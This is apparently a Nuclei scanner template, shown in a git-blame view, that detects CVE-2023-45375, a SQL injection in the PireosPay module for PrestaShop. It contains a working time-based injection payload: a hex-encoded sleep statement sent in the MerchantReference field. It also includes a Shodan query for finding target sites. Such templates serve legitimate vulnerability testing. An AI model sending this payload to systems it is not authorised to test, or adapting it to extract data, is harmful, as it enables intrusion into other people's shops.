2024-03-16 17:23:48 +00:00
|
|
|
id: CVE-2023-45375
|
|
|
|
info:
|
|
|
|
name: CVE-2023-45375
|
|
|
|
author: MaStErChO
|
|
|
|
severity: high
|
|
|
|
description: |
|
|
|
|
In the module “PireosPay” (pireospay) up to version 1.7.9 from 01generator.com for PrestaShop, a guest can perform SQL injection in affected versions.
|
|
|
|
reference:
|
|
|
|
- https://security.friendsofpresta.org/modules/2023/10/12/pireospay.html
|
|
|
|
metadata:
|
|
|
|
max-request: 1
|
|
|
|
framework: prestashop
|
|
|
|
shodan-query: http.component:"prestashop"
|
|
|
|
tags: sqli,prestashop,pireospay
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
2024-07-14 16:15:12 +00:00
|
|
|
@timeout: 12s
|
2024-03-16 17:23:48 +00:00
|
|
|
POST /module/pireospay/validation HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
ajax=true&MerchantReference=1%22;select(0x73656c65637420736c6565702836293b)INTO@a;prepare`b`from@a;execute`b`;--
|
|
|
|
|
2024-07-14 16:15:12 +00:00
|
|
|
host-redirects: true
|
|
|
|
max-redirects: 3
|
2024-03-16 17:23:48 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'duration>=6'
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 302
|